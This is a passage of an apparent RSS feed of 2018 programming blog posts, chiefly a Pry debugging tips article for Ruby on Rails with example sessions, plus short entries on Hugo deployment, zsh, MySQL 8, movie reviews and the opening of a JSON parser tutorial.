&lt;p&gt;Hopefully some of these will make your daily workflow easier.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 09 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/small-mac-apps-i-love/</guid></item><item><title>Deploying a Hugo Static Site Using GitLab, CI/CD, &amp;amp; SSH</title><link>https://grh.am/2018/deploying-a-hugo-static-site-using-gitlab-ci-cd-and-ssh/</link><description>&lt;p&gt;Recently (April 2018), I redeployed &lt;code&gt;grh.am&lt;/code&gt; using &lt;a href="https://gohugo.io"&gt;Hugo&lt;/a&gt; after running the site with &lt;a href="https://jekyllrb.com"&gt;Jekyll&lt;/a&gt; for a number of years (which I never really blogged about, the last &lt;a href="https://grh.am/2013/my-pelican-adventures-powered-by-dropbox/"&gt;blog post&lt;/a&gt; talks about &lt;a href="https://blog.getpelican.com"&gt;Pelican&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Previously, deployment felt a little clunky, requiring a &lt;code&gt;git push&lt;/code&gt; to a remote repository set up on a server, where a git hook picks up on the new commit and runs Jekyll &lt;a href="https://jekyllrb.com/docs/deployment-methods/#git-post-receive-hook"&gt;(as per the Jekyll documentation).&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This time round, I fancied doing it a little differently &amp;amp; automating all of the deployment whilst also removing a lot of the moving parts to limit areas for things to go wrong. I&amp;rsquo;ve been using &lt;a href="https://gitlab.com"&gt;GitLab&lt;/a&gt; for a while now thanks to their free private repositories &amp;amp; various other wonderful offerings, one of which is CI/CD which we&amp;rsquo;ll be using a little later in this post.&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Tue, 08 May 2018 22:23:00 GMT</pubDate><guid isPermaLink="true">https://grh.am/2018/deploying-a-hugo-static-site-using-gitlab-ci-cd-and-ssh/</guid></item><item><title>What everybody can and SHOULD learn by READING about Aadhaar</title><link>https://stop.zona-m.net/2018/05/what-everybody-can-and-should-learn-by-reading-about-aadhaar/</link><description>&lt;p&gt;Aadhaar is India&amp;rsquo;s digital identity system. By reading the right stuff about Aadhaar everybody, no matter where he or she lives, may learn a lot about crucial stuff like  Free/Open Source software, Open Government and Open Data.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 08 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/what-everybody-can-and-should-learn-by-reading-about-aadhaar/</guid></item><item><title>ClearNight Retro</title><link>https://jmthornton.net/blog/p/clearnightretro</link><description>Introducing a new dark, relaxed retro theme for the Atom text editor</description><author>Blog by Jade Michael Thornton</author><pubDate>Tue, 08 May 2018 18:00:00 GMT</pubDate><guid isPermaLink="true">https://jmthornton.net/blog/p/clearnightretro</guid></item><item><title>A Tribute to Kindle</title><link>https://www.dannyguo.com/blog/a-tribute-to-kindle</link><author>Danny Guo</author><pubDate>Tue, 08 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/a-tribute-to-kindle</guid></item><item><title>Pry Tips and Tricks</title><link>https://josh.works/pry-tips-and-tricks</link><description>&lt;p&gt;&lt;em&gt;the following is cross-posted from &lt;a href="http://development.wombatsecurity.com/development/2018/05/04/pry-tips-tricks/"&gt;development.wombatsecurity.com&lt;/a&gt;. I wrote about some handy extra features I’ve found using Pry much of my day.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I joined the Wombat team a few months ago, and have been working on the &lt;a href="https://www.wombatsecurity.com/products/threatsim-how-it-works"&gt;threatsim&lt;/a&gt; product. We had a bit of a bug backlog, and myself and others have been rapidly whipping it into shape.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.wombatsecurity.com/products/threatsim-how-it-works"&gt;ThreatSim&lt;/a&gt; is a Ruby on Rails application; any developer out there who works with Rails has probably used &lt;a href="https://github.com/pry/pry"&gt;Pry&lt;/a&gt; extensively in debugging their application. Pry “pauses” your application’s execution and lets you observe and manipulate state, wherever the pry happens to be.&lt;/p&gt;

&lt;p&gt;Most pry usage is pretty simple - put a pry in your code, cause that line of code to be executed, and then poke around in the session in your terminal.&lt;/p&gt;

&lt;p&gt;For me, this can feel unwieldy when I am trying to do a broad examination of the application. Pry is great at showing me the state of the variables contained within the method that the Pry was placed at, but I don’t always want to see just this code and its variables, I want to skip around the application and peek into different components.&lt;/p&gt;

&lt;h2 id="looking-at-methods"&gt;Looking at methods&lt;/h2&gt;

&lt;p&gt;You can use &lt;code class="language-plaintext highlighter-rouge"&gt;show-method&lt;/code&gt; to reveal pretty much any code in your application. If you use &lt;code class="language-plaintext highlighter-rouge"&gt;show-method&lt;/code&gt; with no arguments, it will show all of the code in the method that you’ve placed the pry.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;show-method&lt;/code&gt; (with no arguments, shows current class/method location, can be similar to &lt;code class="language-plaintext highlighter-rouge"&gt;whereami&lt;/code&gt; (look at prompt) (I usually append &lt;code class="language-plaintext highlighter-rouge"&gt;-l&lt;/code&gt; to &lt;code class="language-plaintext highlighter-rouge"&gt;show-method&lt;/code&gt;, to add line numbers&lt;/p&gt;

&lt;!--more--&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;CookiesController&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x00007f9156c57670&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;method&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;

&lt;span class="no"&gt;From&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sr"&gt;/full/&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rb&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="no"&gt;Owner&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;CookiesController&lt;/span&gt;
&lt;span class="no"&gt;Visibility&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kp"&gt;private&lt;/span&gt;
&lt;span class="no"&gt;Number&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="ss"&gt;lines: &lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;

 &lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_cookie_jar&lt;/span&gt;
 &lt;span class="mi"&gt;79&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:tasty&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;
 &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;count_cookies&lt;/span&gt;
 &lt;span class="mi"&gt;81&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;.&lt;/span&gt;
       &lt;span class="nf"&gt;.&lt;/span&gt;
       &lt;span class="n"&gt;lots&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt;
       &lt;span class="p"&gt;.&lt;/span&gt;
       &lt;span class="nf"&gt;.&lt;/span&gt;

&lt;span class="mi"&gt;111&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s2"&gt;"pry"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;binding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pry&lt;/span&gt;
&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;113&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="no"&gt;Repo&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FakeClass&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;NotActuallyAModule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;do_something&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See that the line about to be executed (line 113)? What if you want to see what that method is, without jumping into your code editor?&lt;/p&gt;

&lt;p&gt;If you want to see what that method is, it’s easy! Use &lt;code class="language-plaintext highlighter-rouge"&gt;show-method&lt;/code&gt;&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;CookiesController&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x00007f9156c57670&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;method&lt;/span&gt; &lt;span class="no"&gt;Repo&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FakeClass&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;NotActuallyAModule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;do_something&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;

&lt;span class="no"&gt;From&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rvb&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;165&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="no"&gt;Owner&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;#&amp;lt;Class:Repo::FakeClass::NotActuallyAModule&amp;gt;&lt;/span&gt;
&lt;span class="no"&gt;Visibility&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kp"&gt;public&lt;/span&gt;
&lt;span class="no"&gt;Number&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="ss"&gt;lines: &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;

&lt;span class="mi"&gt;165&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_something&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
&lt;span class="mi"&gt;166&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;cookies_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:cookie_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;167&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;is_tasty?&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:is_valid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;168&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is_tasty?&lt;/span&gt;
&lt;span class="mi"&gt;170&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="n"&gt;log_it&lt;/span&gt; &lt;span class="s2"&gt;"load_cookies"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"is_tasty"&lt;/span&gt;
&lt;span class="mi"&gt;171&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:consumed&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;nil&lt;/span&gt;
&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:pairs_with&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="mi"&gt;173&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;174&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     
       &lt;span class="p"&gt;.&lt;/span&gt;
       &lt;span class="nf"&gt;.&lt;/span&gt;
       &lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;185&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="mi"&gt;186&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(I’m still adding &lt;code class="language-plaintext highlighter-rouge"&gt;-l&lt;/code&gt; to force line-numbers to be printed out.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://github.com/pry/pry#code-browsing"&gt;more about &lt;code class="language-plaintext highlighter-rouge"&gt;show-source&lt;/code&gt; from Pry&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2 id="where-was-i"&gt;Where was I?&lt;/h2&gt;

&lt;p&gt;Sometimes, I go so far down a rabbit hole of digging around in Pry, I forget where the &lt;code class="language-plaintext highlighter-rouge"&gt;binding.pry&lt;/code&gt; actually is, and what I was trying to do in the first place. (Or I have a few conditional &lt;code class="language-plaintext highlighter-rouge"&gt;binding.pry&lt;/code&gt; statements, and I don’t recall which one got hit)&lt;/p&gt;

&lt;p&gt;Enter &lt;code class="language-plaintext highlighter-rouge"&gt;whereami&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This command simply prints out the code surrounding the current &lt;code class="language-plaintext highlighter-rouge"&gt;binding.pry&lt;/code&gt;. It’s run by default as soon as you hit the pry, which is how you can quickly get your bearings.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://github.com/pry/pry/wiki/Runtime-invocation#Whereami"&gt;from the pry docs: whereami&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2 id="view-stack-traces"&gt;View stack traces&lt;/h2&gt;

&lt;p&gt;What was that stack trace from the last exception you saw?&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;wtf&lt;/code&gt; puts said stack trace:&lt;/p&gt;

&lt;div class="language-shell highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;lt;CookiesController:0x00007f9156c57670&amp;gt;:0&amp;gt; not_a_variable
NameError: undefined &lt;span class="nb"&gt;local &lt;/span&gt;variable or method &lt;span class="sb"&gt;`&lt;/span&gt;not_a_variable&lt;span class="s1"&gt;' for #&amp;lt;CookiesController:0x00007f9156c57670&amp;gt;
from (pry):16:in `load_cookie_jar'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and then, anytime later, call &lt;code class="language-plaintext highlighter-rouge"&gt;wtf&lt;/code&gt; in pry:&lt;/p&gt;

&lt;div class="language-shell highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;lt;CookiesController:0x00007f9156c57670&amp;gt;:0&amp;gt; wtf
Exception: NameError: undefined &lt;span class="nb"&gt;local &lt;/span&gt;variable or method &lt;span class="sb"&gt;`&lt;/span&gt;not_a_variable&lt;span class="s1"&gt;' for #&amp;lt;CookiesController:0x00007f9156c57670&amp;gt;
--
0: (pry):16:in `load_live_action'&lt;/span&gt;
1: /Users/joshthompson/.rvm/gems/ruby-2.3.7/gems/pry-0.10.3/lib/pry/pry_instance.rb:355:in &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="s1"&gt;'
2: /Users/joshthompson/.rvm/gems/ruby-2.3.7/gems/pry-0.10.3/lib/pry/pry_instance.rb:355:in `evaluate_ruby'&lt;/span&gt;
3: /Users/joshthompson/.rvm/gems/ruby-2.3.7/gems/pry-0.10.3/lib/pry/pry_instance.rb:323:in &lt;span class="sb"&gt;`&lt;/span&gt;handle_line&lt;span class="s1"&gt;'
4: /Users/joshthompson/.rvm/gems/ruby-2.3.7/gems/pry-0.10.3/lib/pry/pry_instance.rb:243:in `block (2 levels) in eval'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://github.com/pry/pry/wiki/Exceptions#wtf"&gt;more about &lt;code class="language-plaintext highlighter-rouge"&gt;wtf&lt;/code&gt; in Pry&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2 id="breakpoints-in-pry"&gt;Breakpoints in Pry&lt;/h2&gt;

&lt;p&gt;What about when looking around the state of your application, you decide you want to examine in pry a different method?&lt;/p&gt;

&lt;p&gt;Using &lt;code class="language-plaintext highlighter-rouge"&gt;show-source &amp;lt;method_name&amp;gt;&lt;/code&gt; doesn’t let you interact with the method.&lt;/p&gt;

&lt;p&gt;Enter breakpoints. Just like with javascript in the browser, you can add/remove breakpoints to your code with Pry. You don’t have to exit the session, jump to the new method, and add a &lt;code class="language-plaintext highlighter-rouge"&gt;binding.pry&lt;/code&gt; to it.&lt;/p&gt;

&lt;p&gt;You’ll need to add &lt;a href="https://github.com/deivid-rodriguez/pry-byebug"&gt;pry-byebug&lt;/a&gt; to your Gemfile.&lt;/p&gt;

&lt;p&gt;With Pry-byebug, breakpoint functionality is fairly straightforward:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;break&lt;/code&gt; shows all current breakpoints. (this list should be empty if you’re running &lt;code class="language-plaintext highlighter-rouge"&gt;break&lt;/code&gt; for the first time.&lt;/li&gt;
  &lt;li&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;break &amp;lt;Class#method&amp;gt;&lt;/code&gt; adds a breakpoint to the start of the given method.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;if you add a breakpoint, and call &lt;code class="language-plaintext highlighter-rouge"&gt;break&lt;/code&gt; you’ll see something like:&lt;/p&gt;

&lt;div class="language-shell highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;
  &lt;span class="c"&gt;# Enabled At&lt;/span&gt;
  &lt;span class="nt"&gt;-------------&lt;/span&gt;

  1 Yes     Threatsim::LandingPage::GuidLoader.find_guid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Remove the first breakpoint with &lt;code class="language-plaintext highlighter-rouge"&gt;break --delete 1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;break --help&lt;/code&gt; is a fruitful summary of what breakpoint-related methods are available to you.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://github.com/deivid-rodriguez/pry-byebug#breakpoints"&gt;more about breakpoints in Pry&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2 id="calling-all-callers"&gt;Calling all callers&lt;/h2&gt;

&lt;p&gt;Ever wanted to see what called the code that hit your breakpoint?&lt;/p&gt;

&lt;p&gt;I sure have!&lt;/p&gt;

&lt;p&gt;As usual, Stack Overflow has &lt;a href="https://stackoverflow.com/a/21620257/3210178"&gt;a most helpful answer&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can just call &lt;code class="language-plaintext highlighter-rouge"&gt;caller&lt;/code&gt; in pry, to get a full list everything involved in the current stack.&lt;/p&gt;

&lt;p&gt;The author of the post points out that you immediately get a giant array of mostly irrelevant items, and suggests filtering by keyword, using a one-liner like so:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;caller.select {|line| line.include? "current_repo_name" }&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Or, alternatively:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;caller.reject { |l| l[".rvm/gems"] }&lt;/code&gt;&lt;/p&gt;

&lt;h3 id="additional-reading-or-articles-that-helped-me-learn-more-about-pry"&gt;Additional reading, or articles that helped me learn more about Pry:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://jonathan-jackson.net/2012/05/03/pry-session-102"&gt;Pry 102: Advanced Features&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://gist.github.com/lfender6445/9919357"&gt;Pry Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Mon, 07 May 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/pry-tips-and-tricks</guid></item><item><title>How to configure zsh</title><link>https://zserge.com/posts/terminal/</link><description>Over the years of using Linux as my primary and only OS I had to embrace some unavoidable facts. First, things tend to change and complex things tend to break. Second, reinventing the wheel almost never pays off. And finally, it&amp;rsquo;s not that hard to make a new habit and sometimes it&amp;rsquo;s better than adjusting your workstation to your &amp;ldquo;intuitive&amp;rdquo; understanding that may change very soon.
So years ago I decided to only use the most common software and only the very minimal personalized configuration on top of it.</description><author>zserge's blog</author><pubDate>Mon, 07 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/terminal/</guid></item><item><title>The Economics of Writing a Technical Book</title><link>https://justingarrison.com/blog/2018-05-07-the-economics-of-writing-a-technical-book/</link><description>What I learnt as a co-author of the book 'Cloud Native Infrastructure' for O’Reilly Media.</description><author>Justin Garrison's Homepage</author><pubDate>Mon, 07 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2018-05-07-the-economics-of-writing-a-technical-book/</guid></item><item><title>go-sql-driver and MySQL 8</title><link>https://liza.io/go-sql-driver-and-mysql-8/</link><description>&lt;p&gt;I should know better than to use a &lt;code&gt;latest&lt;/code&gt; tag in a Docker image. I&amp;rsquo;d never do this at work, so why did I do it in my hobby project? I blame Go&amp;rsquo;s nature of dealing with package versioning (that is, the lack thereof) for putting me in the &amp;ldquo;let&amp;rsquo;s use latest!&amp;rdquo; mindset (and yes I know they&amp;rsquo;re working on it). Anyway, I &lt;em&gt;should&lt;/em&gt; know better, but here we are, writing this post. It&amp;rsquo;s going to be a short one.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 06 May 2018 18:55:05 GMT</pubDate><guid isPermaLink="true">https://liza.io/go-sql-driver-and-mysql-8/</guid></item><item><title>5 Centimeters per Second</title><link>https://olshansky.info/movie/5_centimeters_per_second/</link><description>Olshansky's review of 5 Centimeters per Second</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 06 May 2018 14:14:23 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/5_centimeters_per_second/</guid></item><item><title>Your Name</title><link>https://olshansky.info/movie/your_name/</link><description>Olshansky's review of Your Name</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 06 May 2018 14:10:30 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/your_name/</guid></item><item><title>Training Day</title><link>https://olshansky.info/movie/training_day/</link><description>Olshansky's review of Training Day</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 06 May 2018 14:03:50 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/training_day/</guid></item><item><title>Yes, you may soon download a house. And that would be terrible</title><link>https://stop.zona-m.net/2018/05/yes-you-may-soon-download-a-house.-and-that-would-be-terrible/</link><description>&lt;p&gt;Question: &amp;ldquo;What if you could download and print a house in 24 hours for half the cost?&amp;rdquo; My answer: it would probably be a terrible thing, something to avoid, for you and everybody around, sooner or later.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 06 May 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/yes-you-may-soon-download-a-house.-and-that-would-be-terrible/</guid></item><item><title>JSX can do that?</title><link>https://medium.com/hexacta-engineering/jsx-can-do-that-1b2666c23a32</link><description>Let's implement merge sort with JSX</description><author>Rodrigo Pombo</author><pubDate>Sun, 06 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://medium.com/hexacta-engineering/jsx-can-do-that-1b2666c23a32</guid></item><item><title>Writing a simple JSON parser</title><link>http://notes.eatonphil.com/writing-a-simple-json-parser.html</link><description>&lt;p&gt;Writing a JSON parser is one of the easiest ways to get familiar with
parsing techniques. The format is extremely simple. It's defined
recursively so you get a slight challenge compared to, say, parsing
&lt;a href="https://en.wikipedia.org/wiki/Brainfuck"&gt;Brainfuck&lt;/a&gt;; and you probably
already use JSON. Aside from that last point, parsing
&lt;a href="https://en.wikipedia.org/wiki/S-expression"&gt;S-expressions&lt;/a&gt; for Scheme
might be an even simpler task.&lt;/p&gt;
&lt;p&gt;If you'd just like to see the code for the library, &lt;code&gt;pj&lt;/code&gt;, &lt;a href="https://github.com/eatonphil/pj"&gt;check it out
on Github&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="what-parsing-is-and-(typically)-is-not"&gt;What parsing is and (typically) is not&lt;/h3&gt;&lt;p&gt;Parsing is often broken up into two stages: lexical analysis and
syntactic analysis. Lexical analysis breaks source input into the
simplest decomposable elements of a language called "tokens".
Syntactic analysis (often itself called "parsing") receives the list
of tokens and tries to find patterns in them to meet the language
being parsed.&lt;/p&gt;
&lt;p&gt;Parsing does not determine semantic viability of an input
source. Semantic viability of an input source might include whether or
not a variable is defined before being used, whether a function is
called with the correct arguments, or whether a variable can be
declared a second time in some scope.&lt;/p&gt;
&lt;p class="note"&gt;
  There are, of course, always variations in how people choose to
  parse and apply semantic rules, but I am assuming a "traditional"
  approach to explain the core concepts.
&lt;/p&gt;&lt;h4 id="the-json-library's-interface"&gt;The JSON library's interface&lt;/h4&gt;&lt;p&gt;Ultimately, there should be a &lt;code&gt;from_string&lt;/code&gt; method that accepts a
